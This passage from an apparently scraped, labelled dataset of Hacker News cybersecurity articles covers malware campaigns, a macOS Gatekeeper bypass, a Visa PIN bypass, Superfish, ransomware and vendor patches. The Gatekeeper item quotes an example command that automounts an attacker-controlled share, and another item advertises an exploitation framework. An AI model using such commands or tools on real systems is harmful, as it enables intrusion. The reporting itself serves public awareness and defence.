The long-running intelligence-gathering operation first came into the scene in March 2019, with activities spotted as recently as November 2020, when reports emerged of Japan-linked companies being targeted by the threat actor in over 17 regions worldwide.
The fresh attacks uncovered by Kaspersky are said to have occurred in January 2021. The infection chain leverages a multi-stage attack process, with the initial intrusion happening via abuse of SSL-VPN by exploiting unpatched vulnerabilities or stolen credentials.
Center to the campaign is a malware called Ecipekac (""Cake piece"" in reverse, but with a typo) that traverses a four-layer ""complicated loading schema"" by making use of four files to ""load and decrypt four fileless loader modules one after the other to eventually load the final payload in memory.""
While the main purpose of P8RAT and SodaMaster is to download and execute payloads retrieved from an attacker-controlled server, Kaspersky's investigation hasn't yielded any clues as to the exact malware delivered on target Windows systems.
Interestingly, the third payload, FYAnti, is a multi-layer loader module in itself that goes through two more successive layers to deploy a final-stage remote access Trojan known as QuasarRAT (or xRAT).
""The operations and implants of the campaign ... are remarkably stealthy, making it difficult to track the threat actor's activities,"" Kaspersky researcher Suguru Ishimaru said. ""The main stealth features are the fileless implants, obfuscation, anti-VM ,and removal of activity tracks.""

",Malware
New Mac Malware Exploits GateKeeper Bypass Bug that Apple Left Unpatched,https://thehackernews.com/2019/06/macos-malware-gatekeeper.html,"Cybersecurity researchers from Intego are warning about possible active exploitation of an unpatched security vulnerability in Apple's macOS Gatekeeper security feature details and PoC for which were publicly disclosed late last month.

Intego team last week discovered four samples of new macOS malware on VirusTotal that leverage the GateKeeper bypass vulnerability to execute untrusted code on macOS without displaying users any warning or asking for their explicit permission.

However, the newly discovered malware, dubbed OSX/Linker, has not been seen in the wild as of now and appears to be under development. Though the samples leverage unpatched Gatekeeper bypass flaw, it does not download any malicious app from the attacker's server.

According to Joshua Long from Intego, until last week, the ""malware maker was merely conducting some detection testing reconnaissance.""

""One of the files was signed with an Apple Developer ID (as explained below), it is evident that the OSX/Linker disk images are the handiwork of the developers of the OSX/Surfbuyer adware,"" Long said in a blog post.

However, since the malware sample links to a remote server from where it downloads the untrusted app, attackers can also distribute same samples to real targeted by merely replacing the defined sample app with a malware app on their server.

macOS Gatekeeper Bypass Vulnerability

GateKeeper is a security feature built into Apple macOS that enforces code signing and verifies downloaded applications before allowing them to run, helping users protect their systems from malware and other malicious software.
That means, if you download an application from the Internet, GateKeeper will only allow it to execute without any warnings if it has been signed with a valid Apple-issued certificate, otherwise will prompt you to allow or deny the execution.

However, Gatekeeper has been designed to treat both external drives (USB or HDD) and network shares as ""safe locations"" from where users can run any application without involving GateKeeper's checks and prompts.

Filippo Cavallarin, an independent security researcher, late last month publicly revealed a way to exploit this behavior by combining it with two other legitimate features of macOS operating system, which are:

zip archives can contain symbolic links pointing to an arbitrary location, including automount endpoints, and
automount feature on macOS can automatically mount a network share from a remote server just by accessing it with a ""special"" path i.e., beginning with ""/net/.""

""For example, ls /net/evil-attacker.com/sharedfolder/ will make the OS read the content of the 'sharedfolder' on the remote host (evil-attacker.com) using NFS,"" Cavallarin explained in a blog post.

As shown in the video demonstration, Cavallarin created a ZIP file with a symbolic link to an attacker-controlled network share that macOS will automount.

Once a victim opens the ZIP archive and follows the link, he will navigate to the attacker-controlled network share that's trusted by Gatekeeper, tricking the victim into running malicious executable files without any warning.

""The way Finder is designed (ex hide .app extensions, hide full path from title bar) makes this technique very effective and hard to spot,"" the researcher says.

However, the newly discovered malware samples are not ZIP files, but disk image files (with .dmg), showing that ""malware makers were experimenting to see whether Cavallarin's vulnerability would work with disk images, too.""

Cavallarin responsibly reported his findings to Apple on February 22 but decided to go public late last month after the company failed to patch the issue within the 90 days disclosure deadline and started ignoring his emails.

Until Apple patches this issue, researcher advised network administrators to block NFS communications with external IP addresses, and for home users, it is always important to not open email attachments from an unknown, suspicious, or untrustworthy source.

",Malware
New PIN Verification Bypass Flaw Affects Visa Contactless Payments,https://thehackernews.com/2020/09/emv-payment-card-pin-hacking.html,"Even as Visa issued a warning about a new JavaScript web skimmer known as Baka, cybersecurity researchers have uncovered an authentication flaw in the company's EMV enabled payment cards that permits cybercriminals to obtain funds and defraud cardholders as well as merchants illicitly.

The research, published by a group of academics from the ETH Zurich, is a PIN bypass attack that allows the adversaries to leverage a victim's stolen or lost credit card for making high-value purchases without knowledge of the card's PIN, and even trick a point of sale (PoS) terminal into accepting an unauthentic offline card transaction.

All modern contactless cards that make use of the Visa protocol, including Visa Credit, Visa Debit, Visa Electron, and V Pay cards, are affected by the security flaw, but the researchers posited it could apply to EMV protocols implemented by Discover and UnionPay as well. The loophole, however, doesn't impact Mastercard, American Express, and JCB.

The findings will be presented at the 42nd IEEE Symposium on Security and Privacy to be held in San Francisco next May.

Modifying Card Transaction Qualifiers Via MitM Attack

EMV (short for Europay, Mastercard, and Visa), the widely used international protocol standard for smartcard payment, necessitates that larger amounts can only be debited from credit cards with a PIN code.


But the setup devised by ETH researchers exploits a critical flaw in the protocol to mount a man-in-the-middle (MitM) attack via an Android app that ""instructs the terminal that PIN verification is not required because the cardholder verification was performed on the consumer's device.""

The issue stems from the fact the Cardholder verification method (CVM), which is used to verify whether an individual attempting a transaction with a credit or debit card is the legitimate cardholder, is not cryptographically protected from modification.


As a result, the Card Transaction Qualifiers (CTQ) used to determine what CVM check, if any, is required for the transaction can be modified to inform the PoS terminal to override the PIN verification and that the verification was carried out using the cardholder's device such as a smartwatch or smartphone (called Consumer Device Cardholder Verification Method or CDCVM).

Exploiting Offline Transactions Without Being Charged

Furthermore, the researchers uncovered a second vulnerability, which involves offline contactless transactions carried out by either a Visa or an old Mastercard card, allowing the attacker to alter a specific piece of data called ""Application Cryptogram"" (AC) before it is delivered to the terminal.

Offline cards are typically used to directly pay for goods and services from a cardholder's bank account without requiring a PIN number. But since these transactions are not connected to an online system, there is a delay of 24 to 72 hours before the bank confirms the transaction's legitimacy using the cryptogram, and the amount of the purchase is debited from the account.

A criminal can leverage this delayed processing mechanism to use their card to complete a low-value and offline transaction without being charged, in addition to making away with purchases by the time the issuing bank declines the transaction due to the wrong cryptogram.

""This constitutes a 'free lunch' attack in that the criminal can purchase low-value goods or services without actually being charged at all,"" the researchers said, adding the low-value nature of these transactions is unlikely to be an ""attractive business model for criminals.""

Mitigating PIN bypass and offline attacks

Aside from notifying Visa of the flaws, the researchers have also proposed three software fixes to the protocol to prevent PIN bypass and offline attacks, including using Dynamic Data Authentication (DDA) to secure high-value online transactions and requiring the use of online cryptogram in all PoS terminals, which causes offline transactions to be processed online.

""Our attack show[ed] that the PIN is useless for Visa contactless transactions [and] revealed surprising differences between the security of the contactless payment protocols of Mastercard and Visa, showing that Mastercard is more secure than Visa,"" the researchers concluded. ""These flaws violate fundamental security properties such as authentication and other guarantees about accepted transactions.""
",Cyber_Attack
ESET NOD32 releases Antivirus for Linux 4 !,https://thehackernews.com/2011/04/eset-nod32-releases-antivirus-for-linux.html,"ESET NOD32 releases Antivirus for Linux 4 !


ESET announced the availability of ESET NOD32 Antivirus 4 Business Edition for Linux Desktop and ESET NOD32 Antivirus 4 for Linux.

ESET NOD32 Antivirus 4 for Linux offers protection against cross-platform and emerging threats, enhancing the security of Linux platforms. The scanning engine automatically detects and cleans malicious code, including threats designed for Windows and Mac based systems.

ESET NOD32 Antivirus 4 Business Edition for Linux Desktop includes ESET Remote Administrator, which provides IT administrators with a management console to control an entire network from a single screen — supporting tens or thousands of heterogeneous computers.

Key benefits and features:

Detection and proactive cross-platform protection – Advanced heuristics technology delivers real-time, proactive protection from malware, hacker attacks and exploits. Product protects against Linux, Windows and Mac malware

Small system footprint – The unique build of ESET NOD32 Antivirus 4 for Linux has been optimized to perfectly match the system environment. ESET engineered a smart solution with one of the lowest system footprints on the market ensuring fast startup and smooth performance

Graphical user interface – Optional graphical user interface which delivers intuitive access to features includes full screen mode, informative graphs, statistics and scheduler

Security settings control – Defines which user accounts have the capability to change settings, so unauthorized users cannot disable or lessen protection

Streamlined management – Easy management and oversight of network security across all platforms, allowing for push tasks, updates and security policies to be applied from a single console (Business Edition only)

Removable media access control – Scans or blocks usage of USB, FireWire, CD/DVD devices to minimize risk of infection or data loss.

",Malware
Lenovo Admits and Released an Automatic Superfish Removal Tool,https://thehackernews.com/2015/02/superfish-malware-removing-tool.html,"The computer giant Lenovo has released a tool to remove the dangerous ""SuperFish"" adware program that the company had pre-installed onto many of its consumer-grade Lenovo laptops sold before January 2015.

The Superfish removal tool comes few days after the story broke about the nasty Superfish malware that has capability to sneakily intercept and decrypt HTTPS connections, tamper with pages in an attempt to inject advertisements.

WE JUST FOUND 'SUPERFISH' - LENOVO
The Chinese PC maker attempted to push the perception that Superfish software was not a security concern and avoid the bad news with the claim that it had ""stopped Superfish software at beginning in January"".

However, Lenovo has now admitted that it was caught preloading a piece of adware that installed its own self-signing Man-in-the-Middle (MitM) proxy service that hijacked HTTPS connections.
""We did not know about this potential security vulnerability until yesterday,"" Lenovo said in a statement released on Saturday. ""We recognize that this was our miss, and we will do better in the future. Now we are focused on fixing it.""
'SUPERFISH' WENT BAD TO WORSE
The Superfish malware went bad to worse when Errata Security's Robert David Graham cracked and published the password that would allow anyone to unlock the certificate authority and bypass the computer's web encryption. The password with the right software could allow a hacker to insert malware or potentially spy on a vulnerable Lenovo user sharing the same Wi-Fi network.

United States Computer Emergency Readiness Team (US-CERT) also warned Friday that Superfish malware could be exploited to ""allow a remote attacker to read all encrypted web browser traffic (HTTPS), successfully impersonate (spoof) any website, or perform other attacks on the affected system.""

AUTOMATICALLY REMOVE 'SUPERFISH' COMPLETELY
Lenovo joined hands with Microsoft and McAfee, and created a custom uninstall tool to clean your computer of the Superfish malware program and its CA certificates, and in a responsibly transparent move, also posted the source code and license of the removal tool for scrutiny.
""We apologize for causing these concerns among our users - we are learning from this experience and will use it to improve what we do and how we do it in the future,"" the company said.
The company has released an ""automated tool"", which the PC maker says will ""ensure complete removal of Superfish and Certificates for all major browsers.""

If in case users don't prefer to use the automated tool, the company has also provided a step-by-step process for how to remove SuperFish manually.

CHECK FOR 'SUPERFISH' MALWARE NOW
SuperFish is an adware that tampers with your computer's encryption certificates, which seemingly leaves your otherwise ""encrypted"" communications insecure whenever you are on a shared WiFi connection (like at a coffee shop). It can silently intercept and decrypt HTTPS connections, tamper with pages and inject advertisements.

Superfish is present on Lenovo laptops sold between September 2014 and January 2015, although the company says no Thinkpads were shipped with the Superfish malware. Still, you can check your Lenovo computers for this nasty software with the help of a test created by researcher Filippo Valsorda.

",Malware
How Just Opening A Site In Safari Could Have Hacked Your Apple macOS,https://thehackernews.com/2018/11/apple-macos-zeroday.html,"Earlier this week Dropbox team unveiled details of three critical vulnerabilities in Apple macOS operating system, which altogether could allow a remote attacker to execute malicious code on a targeted Mac computer just by convincing a victim into visiting a malicious web page.

The reported vulnerabilities were originally discovered by Syndis, a cybersecurity firm hired by Dropbox to conduct simulated penetration testing attacks as Red Team on the company's IT infrastructure, including Apple software used by Dropbox.

The vulnerabilities were discovered and disclosed to Apple security team in February this year, which were then patched by Apple just over one month later with the release of its March security updates. DropBox applauded Apple for its quick response to its bug report.

According to DropBox, the vulnerabilities discovered by Syndis didn't just affect its macOS fleet, but also affected all Safari users running the latest version of the web browser and operating system at the time.
Here's the list of the three reported (then-zero-day) vulnerabilities:

The first flaw (CVE-2017-13890) that resided in CoreTypes component of macOS allowed Safari web browser to automatically download and mount a disk image on visitors' system through a maliciously crafted web page.
The second flaw (CVE-2018-4176) resided in the way Disk Images handled .bundle files, which are applications packaged as directories. Exploiting the flaw could have allowed an attacker to launch a malicious application from mounted disk using a bootable volume utility called bless and its --openfolder argument.
The third vulnerability (CVE-2018-4175) involved a bypass of macOS Gatekeeper anti-malware, allowing a maliciously crafted application to bypass code signing enforcement and execute a modified version of Terminal app leading to arbitrary commands execution.

As shown in the proof-of-concept video demonstration, the researchers were able to create a two-stage attack by chaining together all the three vulnerabilities to take control of a Mac computer just by convincing a victim into visiting a malicious web page with Safari.

""The first stage includes a modified version of the Terminal app, which is registered as a handler for a new file extension (.workingpoc). In addition, it would contain a blank folder called ""test.bundle"" which would be set as the default ""openfolder"" which automatically would open /Applications/Terminal.app without prompt,"" DropBox says in its blog post.

""The second stage includes an unsigned shellscript with the extension "".workingpoc"" which is then executed within the running Terminal application without prompt.""
Apple released security updates on March 29 that included the security fixes for the three vulnerabilities. So, you just need to make sure that you install all monthly security updates regularly in order to protect your systems against any threat.

",Vulnerability
Police Ransomware threat of huge Fine forced Family to Commit Suicide,https://thehackernews.com/2014/03/police-ransomware-threat-of-huge-fine.html,"Till Now we all have heard about the Ransomware Malware that encrypts your files or lock down your computer and ask for a random amount to be paid in a specified duration of time to unlock it, but this cyber threat has forced somebody for the terrible murder and suicide. It's true! This could be an extent of Ransomware that has marked its history by someone's blood.

Marcel Datcu, a 36 year old man, living in the village of Movila Miresii, who was married in 2013 and living happily with his family, killed his 4 year old baby and then himself committed suicide after his computer got infected with ""police ransomware,"" a Romanian Newspaper, Braila24 reports.

Ransomware is one of the most blatant and obvious criminal's money making schemes out there, from which Cryptolocker threat had touched the peak, and cyber criminals have developed many Cryptolocker versions (prisonlocker, linkup, icepole, cryptobit) by which you have to safeguard your system.

According to the sources, it seems that Marcel had opened few porn sites and infected with a computer virus, i.e., a police ransomware, that displayed a message coming from the Police, informing that he has been fined by the authorities for the violation of the law with a huge amount of 70.000 lei (€15,519 / $21,637) that need to be paid immediately.

After getting such warning from the police, he felt shamed and scared that his young son would pay for his mistake and his life would be spend in the moment of delusion, so he hanged himself in the living room, holding his 4-year-old boy in his arms with a rope around his neck.

His neighbors said that besides the boy who was killed by his father, Marcel and his wife had three other children from previous marriages, and was a happy family.
Sources close to the investigation say that the man left the following suicide note to his wife: ""I don't think it's normal what I've done (…) I apologize to all of you (…) I received a warning that said I have to pay 70.000 lei or go to prison for 11 years (…) I don't want Nicusor [the small boy who was killed] to suffer because of me (…) I can't stand going to prison. I can't!""

As far as we all know, a Police ransomware usually asks a victim to pay a small fine that last around $200 or €200. The man would have been died imagining that such a large fined amount is very difficult to pay.

Cyber security experts always advises you not to pay the ransom amount that blocks your activities on the computer, as these threats can be easily removed by dedicated tools specially designed to remove such infections.

But, unfortunately everybody is not aware of such threats and this time the price paid was somebody's life. There are many ways you can protect your computers and devices from the widely spreading Ransomware discussed in our previous post.

Stay Safe! Stay Tuned!

",Malware
winAUTOPWN v3.0 Released - System vulnerability exploitation Framework,https://thehackernews.com/2012/04/winautopwn-v30-released-system.html,"winAUTOPWN v3.0 Released - System vulnerability exploitation Framework


The improved GUI extension - WINAUTOPWN ACTIVE SYSTEMS TRANSGRESSOR GUI [ C4 - WAST ] is a Systems and Network Exploitation Framework built on the famous winAUTOPWN as a backend. C4 - WAST gives users the freedom to select individual exploits and use them.

BSDAUTOPWN has been compiled, like always for various flavours and has been upgraded to version 1.8 alongwith all applicable exploits which have been added in this release. Included this time is the bsd_install.sh, which will set chmod on all applicable BSD compiled binaries.

WINAUTOPWN requires PERL,PHP,PYTHON,RUBY and its dependencies alongwith a few others' too for smooth working of exploits included in it.

winAUTOPWN and bsdAUTOPWN are available at https://winautopwn.co.nr

",Vulnerability
Israeli Defense computer hacked in Spear Phishing Attack,https://thehackernews.com/2014/01/israeli-defense-computer-hacked-in.html,"Hackers broke into an Israeli defense ministry computer via an email attachment tainted with malicious software.

Reuters reported Israeli Defense is the latest illustrious victim of the Spear Phishing Attack, and hackers penetrated into an Israeli defense ministry computer using a malicious email as a vector.

Aviv Raff, Chief Technology officer at Seculert, confirmed that an Email with a malicious attachment that looked like it had been sent by the country's Shin Bet Secret Security Service. The attackers have penetrated into the network of Israeli Defense accessing to 15 computers, one of them managed by the Israel's Civil Administration that monitors Palestinians in Israeli-occupied territory.

The Civil Administration is a unit of Israel's Defense Ministry that control the passage of goods between Israel and the West Bank and Gaza Strip. It is clear that the information contained in the infected system represents a precious target for someone that intend to examine what and who is authorized to pass through the territories contested by Israelis and Palestinians.

The office also manages entry permits to Palestinians who work in Israel, and this could be another motivation for the attack. The earliest evidence confirmed the attack was conducted by Palestinians hackers, because there are many similarities with a precedent attack against Israeli systems conduced more than a year ago from a server in the Hamas-ruled Gaza Strip.

Aviv Raff revealed that the 15 computers were controlled by the hackers for several days after the January 15, when the malicious email was sent with an attachment about ex-Israeli prime minister Ariel Sharon who had just died.

The message text anticipates the content of the attached .zip file that claims to contain reports and photos of the attack. According Trend Micro firm the initial target of that attack was the Israeli Customs agency. In fact the file attached to the email hides a known malware, the XtremeRat trojan, which was largely used in surveillance campaigns by many regimes such as Syrian government.

Guy Inbar, a spokesman for the Civil Administration said:
""We are not commenting on it, we don't respond to such reports,""
Let me add, These is not a sufficient proof, but we all know that how much complicated is the attribution for an attack in the cyberspace, and many political actors could be interested to fuel the crisis between the two populations.

Anyway security experts recognized the same hand behind the latest attack originated from a server in the US, the tactics adopted by hackers is identical and there are many similarities in the code used.

According to Securlet, the attackers have used ""Xtreme RAT"" for a cyber espionage campaign against Israeli institutions and law enforcement in Novemeber 2012, forcing the government to shut down Internet access for its police. This cause prohibiting the use of memory sticks and mobile storage to avoid the diffusion of the malicious agent.

If the news is confirmed, it is very concerning. Let's consider that the attack discovered could be just an initial part of a large operation targeting sub-contractors to hit Israel, because it is very common that hackers target subcontractors to hit big enterprises and government offices due to the poor level of security they often offer.

Securlert hasn't discovered what the hackers did after accessing to the system, it is not clear if the attackers have stolen some document or they have tried to manipulate some data.
""All we know is at least one computer at the Civil Administration was in control of the attackers; what they did we don't know."" said Raff said.
The incident is just the tip of the iceberg, has confirmed by media hacking activity in the Middle East is very intense, foreign governments and group of hacktivists like Anonymous have targeted the military, government offices, private companies and critical infrastructure.

",Cyber_Attack
"UK Regulator Fines Equifax £500,000 Over 2017 Data Breach",https://thehackernews.com/2018/09/equifax-credit-reporting-breach.html,"Atlanta-based consumer credit reporting agency Equifax has been issued a £500,000 fine by the UK's privacy watchdog for its last year's massive data breach that exposed personal and financial data of hundreds of millions of its customers.

Yes, £500,000—that's the maximum fine allowed by the UK's Data Protection Act 1998, though the penalty is apparently a small figure for a $16 billion company.

In July this year, the UK's data protection watchdog issued the maximum allowed fine of £500,000 on Facebook over the Cambridge Analytica scandal, saying the social media giant Facebook failed to prevent its citizens' data from falling into the wrong hands.

Flashback: The Equifax Data Breach 2017

Equifax suffered a massive data breach last year between mid-May and the end of July, exposing highly sensitive data of as many as 145 million people globally.

The stolen information included victims' names, dates of birth, phone numbers, driver's license details, addresses, and social security numbers, along with credit card information and personally identifying information (PII) for hundreds of thousands of its consumers.

The data breach occurred because the company failed to patch a critical Apache Struts 2 vulnerability (CVE-2017-5638) on time, for which patches were already issued by the respected companies.

Why U.K. Has Fined a US Company?

The UK's Information Commissioner's Office (ICO), who launched a joint investigation into the breach with the Financial Conduct Authority, has now issued its largest possible monetary penalty under the country's Data Protection Act for the massive data breach—£500,000, which equals to around $665,000.

The ICO said that although the cyber attack compromised Equifax systems in the United States, the company ""failed to take appropriate steps"" to protect the personal information of its 15 million UK customers.

The ICO investigation revealed ""multiple failures"" at the company like keeping users' personal information longer than necessary, which resulted in:
19,993 UK customers had their names, dates of birth, telephone numbers and driving license numbers exposed.
637,430 UK customers had their names, dates of birth and telephone numbers exposed.
Up to 15 million UK customers had names and dates of birth exposed.
Some 27,000 Britishers also had their Equifax account email addresses swiped.
15,000 UK customers also had their names, dates of birth, addresses, account usernames and plaintext passwords, account recovery secret questions, and answers, obscured credit card numbers, and spending amounts stolen by hackers.

Breach Was Result of Multiple Failures at Equifax

The ICO said that Equifax had also been warned about a critical Apache Struts 2 vulnerability in its systems by the United States Department of Homeland Security (DHS) in March 2017, but the company did not take appropriate steps to fix the issue.

Initially, it was also reported that the company kept news of the breach hidden for a month after its internal discovery, giving three senior executives at Equifax time to sell almost $2 million worth of its shares, though the company denied such claims.

Since the data breach happened before the EU's General Data Protection Regulation (GDPR) took effect in May 2018, the maximum fine of £500,000 imposed under the UK's old Data Protection Act 1998 is still lesser.

The penalty could have been much larger had it fallen under GDPR, wherein a company could face a maximum fine of 20 million euros or 4 percent of its annual global revenue, whichever is higher, for such a privacy breach.

In response to the ICO's penalty, Equifax said that the company has fully cooperated with the ICO throughout the investigation that it is ""disappointed in the findings and the penalty.""

Equifax received the Monetary Penalty Notice from the ICO on Wednesday and can appeal the penalty.

",Data_Breaches
Built-in Keylogger Found in MantisTek GK2 Keyboards—Sends Data to China,https://thehackernews.com/2017/11/mantistek-keyboard-keylogger.html,"""The right keyboard can make all the difference between a victory and a defeat in a video game battlefield.""

If you are a gamer, you can relate to the above quote.

But what if your winning weapon betrays you?

The popular 104-key Mantistek GK2 Mechanical Gaming Keyboard that costs around €49.66 has allegedly been caught silently recording everything you type on your keyboard and sending them to a server maintained by the Alibaba Group.

This built-in keylogger in Mantistek GK2 Mechanical Gaming Keyboard was noticed by a few owners who headed on to an online forum to share this issue.

According to Tom's Hardware, MantisTek keyboards utilise 'Cloud Driver' software, maybe for collecting analytic information, but has been caught sending sensitive information to servers tied to Alibaba.

After analysing more closely, Tom's Hardware team found that Mantistek keyboard does not include a full-fledged keylogger. Instead, it captures how many times a key has been pressed and sending this data back to online servers.

The affected users also provided a screenshot showing how all your plain-text keystrokes collected by the keyboard are being uploaded to a Chinese server located at IP address: 47.90.52.88.

However, even if there's no malicious intent, capturing and uploading keystroke counts without users' consent violates trust and puts systems' security at risk by leaking sensitive information.

Since Alibaba Group also sells cloud services like Google and Amazon, this collected information is not necessarily being sent to the Alibaba itself, but someone who is using its cloud service.

Opening the IP address in question directly into a web browser and on a Chinese login page, which translates to ""Cloud mouse platform background management system"" and is maintained by Shenzhen Cytec Technology Co., Ltd.

Reportedly, the MantisTek keyboard's software sends the collected data to two destinations at that IP address:
/cms/json/putkeyusedata.php
/cms/json/putuserevent.php
The best way to prevent your keyboard from sending your keystrokes to the Alibaba server is to stop using your Mantistek GK2 Mechanical Gaming Keyboard until you hear back from the company about this issue.

If you cannot prevent yourself from using the keyboard, but want to stop it from sending your key presses to the Alibaba server, just make sure the MantisTek Cloud Driver software is not running in the background, and block the CMS.exe executable in your firewall.

To block the CMS.exe executable, add a new firewall rule for the MantisTek Cloud Driver in the ""Windows Defender Firewall With Advanced Security.""

",Malware
Two Romanians Charged With Hacking Police CCTV Cameras Before Trump Inauguration,https://thehackernews.com/2017/12/police-camera-hacking.html,"Remember how some cybercriminals shut down most of Washington D.C. police's security cameras for four days ahead of President Donald Trump's inauguration earlier this year?

Just a few days after the incident, British authorities arrested two people in the United Kingdom, identified as a British man and a Swedish woman, both 50-year-old, on request of U.S. officials.

But now US federal court affidavit has revealed that two Romanian nationals were behind the attack that hacked into 70% of the computers that control Washington DC Metropolitan Police Department's surveillance camera network in January this year, CNN reports.

The two suspects—Mihai Alexandru Isvanca, 25, and Eveline Cismaru, 28—were arrested in Bucharest on December 15 on charges of conspiracy to commit wire fraud and various forms of computer fraud.

According to the criminal complaint unsealed in Washington, the pair hacked 123 of the Metropolitan Police Department's 187 outdoor surveillance cameras used to monitor public areas in D.C. by infecting computers with ransomware in an effort to extort money.

Ransomware is an infamous piece of malicious software that has been known for locking up computer files and then demanding a ransom (usually in Bitcoins) to help victims unlock their files.

The cyber attack occurred just days before the inauguration of President Donald Trump and lasted for almost four days, eventually leaving the CCTV cameras out of recording anything between 12 and 15 January 2017.

Instead of fulfilling ransom demands, the DC police department took the storage devices offline, removed the infection and rebooted the systems across the city, ensuring that the surveillance camera system was secure and fully operational.

""This case was of the highest priority due to its impact on the Secret Service's protective mission and its potential effect on the security plan for the 2017 Presidential Inauguration,"" the Justice Department said.

""The investigation revealed no evidence that any person's physical security was threatened or harmed due to the disruption of the MPD surveillance cameras.""

The affidavit, dated December 11, mentions the defendants used two types of cryptocurrency ransomware variants—Cerber and Dharma. Other evidence also revealed a scheme to distribute ransomware by email to at least 179,000 email addresses.

""According to the complaint, further investigation showed that the two defendants, Isvanca and Cismaru, participated in the ransomware scheme using the compromised MPD surveillance camera computers, among others,"" the Justice Department said.

""The investigation also identified certain victims who had received the ransomware or whose servers had been accessed during the scheme.""

However, it is still unclear whether the pair arrested was solely behind the attack or were part of a more comprehensive cybercriminal network.

While Isvanca remains in custody in Romania, Cismaru is under house arrest pending further legal proceedings, according to the Justice Department.

If extradited and convicted, the Romanian defendants could face a maximum of 20 years in prison.

",Cyber_Attack
Adobe releases important security patches for its 4 popular software,https://thehackernews.com/2018/08/adobe-patch-updates.html,"Adobe has released August 2018 security patch updates for a total of 11 vulnerabilities in its products, two of which are rated as critical that affect Adobe Acrobat and Reader software.

The vulnerabilities addressed in this month updates affect Adobe Flash Player, Creative Cloud Desktop Application, Adobe Experience Manager, Adobe Acrobat and Reader applications.

None of the security vulnerabilities patched this month were either publicly disclosed or found being actively exploited in the wild.

Adobe Acrobat and Reader (Windows and macOS)

Security researchers from Trend Micro's Zero Day Initiative and Cybellum Technologies have discovered and reported two critical arbitrary code execution vulnerabilities respectively in Acrobat DC and Acrobat Reader DC for Windows and macOS.

According to the Adobe advisory, the flaw (CVE-2018-12808) reported by Cybellum Technologies is an out-of-bounds write flaw, whereas the bug (CVE-2018-12799) reported by Zero Day Initiative is an untrusted pointer dereference vulnerability.

Adobe Flash Player (For Desktops and Browsers)

The latest version of Adobe Flash Player application, i.e., 30.0.0.154, patches a total of five vulnerabilities, including four important information disclosure bugs and one non-critical remote code execution issue.

The remote code execution bug is a privilege escalation issue reported by Kai Song from Tencent, which leads to arbitrary code execution, but has been considered ""important"" by the company.

All five vulnerabilities affect desktop runtime and Google Chrome versions of Flash Player for Windows, macOS, Linux, and Chrome OS.

Adobe Experience Manager (All Platforms)

The company has also released security patches for its enterprise content management solution, Adobe Experience Manager, to address two cross-site scripting (XSS) vulnerabilities and one input validation bypass flaw.

The XSS flaws could result in information disclosure, while the input validation bypass bug could allow an attacker to modify information.

All the three vulnerabilities have been rated as ""moderate"" in severity, and affect Experience Manager for all platforms, and users are advised to download the latest version from here as soon as possible.

Creative Cloud Desktop Application (Windows)

Adobe has also patched an important privilege escalation flaw (CVE-2018-5003) in the Creative Cloud Desktop Application installer for Windows.

The vulnerability, which has been patched in the latest version 4.5.5.342, originates from the insecure loading of libraries, leading to DLL hijacking attacks.

Adobe recommends end users and administrators to download and install the latest security patches as soon as possible.
",Vulnerability
FBI — Botnets Infecting 18 Computers per Second. But How Many of Them NSA Holds?,https://thehackernews.com/2014/07/fbi-botnets-infecting-18-computers-per.html,"Botnets - a secretly compromised networks of ordinary home and office computers with rogue software or ""malware"" that are controlled by an individual criminal or a group - has dramatically increased over the past several years and are considered to pose the biggest threat to the Internet.

Cyber criminals have brushed-up their hacking skills and are using Botnets as a cyber weapon to carry out multiple crimes like DDoS attacks (distributed denial of service), mass spamming, page rank and advertising revenue manipulation, mining bitcoins, cyber espionage and surveillance etc.

18 BOTNET INFECTIONS PER SECOND
According to the director of FBI's cyber division, Joseph Demarest, Botnet has become one of the biggest enemies of the Internet today, and therefore its impact has been significant. Yesterday during a hearing before a U.S. Senate committee, he says that every second 18 computers worldwide are part of botnet armies, which amounts to over 500 million compromised computers per year.

The network of compromised systems can do a drastic cyber crime activities without the knowledge of their computer's owner. Botnet allows its operator to steal personal and financial information, get into system owners' bank accounts, steal millions of credit cards, shut down websites, monitor your every keystroke and can even activate systems' cameras secretly which can take users' at great risk.

On Tuesday, a U.S. Senate committee assembled to discuss the progress of FBI agency's current and future anti-cyber crime strategy to disrupt Botnets, with agenda: ""Taking Down Botnets: Public and Private Efforts to Disrupt and dismantle Cyber Criminal Networks.""

BOTNET FETCHED MILLIONS OF DOLLARS
Joseph Demarest said the news is troubling as the botnets' high infection rate costs the US and global economies billions of dollars. Several successes ""But our work is never done,"" noted the FBI chief.
""The use of botnets is on the rise. Industry experts estimate that botnet attacks have resulted in the overall loss of millions of dollars from financial institutions and other major US businesses,"" Demarest said.
""As you well know, we face cyber threats from state-sponsored hackers, hackers for hire, organized cyber syndicates, and terrorists. They seek our state secrets, our trade secrets, our technology, and our ideas—things of incredible value to all of us.""
TWO FACES OF THE SAME GOVERNMENT - FBI & NSA
FBI trying to take down cyber criminals and putting its all effort to shut down botnet networks - which really sounds cool! But could you answer me that 'How NSA is conducting its wider spread mass surveillance program..??' Yes, of course, with the use of similar exploits and botnet malware. It was revealed few months ago from the Edward Snowden leaks that NSA is taking over entire networks of already-hacked machines (Botnets) and using them for their own purposes.

Also at the end of last year, Dutch newspaper NRC Handelsblad reported that the document leaked by Snowden also revealed that NSA had established an army of ""sleeper cells"" – malware-infected, remote-controllable computers – on 50,000 networks by the middle of 2012, which waits for months or longer before it activates by the agency and begins harvesting data.

So, when one side of U.S. government is trying every effort to shut down the widely spread botnet networks and at the same time, the other side of government is building up their weapons with the use of similar malwares and botnets, it is difficult to mitigate the problem and, this unbalanced situation of the Internet is the main cause of terror in the digital world.

Well, botnets, malware, viruses, worms and other cyber threats are really a big issue for all of us, and also these attacks become more sophisticated and wider when become money motivated.

We also appreciate U.S. government efforts to combat cyber crimes. A month ago, FBI and Europol also took down the GameOver Zeus botnet that have stolen more than $100 million from banks, businesses and consumers worldwide.

",Malware
Microsoft Azure Flaws Could Have Let Hackers Take Over Cloud Servers,https://thehackernews.com/2020/01/microsoft-azure-vulnerabilities.html,"Cybersecurity researchers at Check Point today disclosed details of two recently patched potentially dangerous vulnerabilities in Microsoft Azure services that, if exploited, could have allowed hackers to target several businesses that run their web and mobile apps on Azure.

Azure App Service is a fully-managed integrated service that enables users to create web and mobile apps for any platform or device, and easily integrate them with SaaS solutions, on-premises apps to automate business processes.

According to a report researchers shared with The Hacker News, the first security vulnerability (CVE-2019-1234) is a request spoofing issue that affected Azure Stack, a hybrid cloud computing software solution by Microsoft.

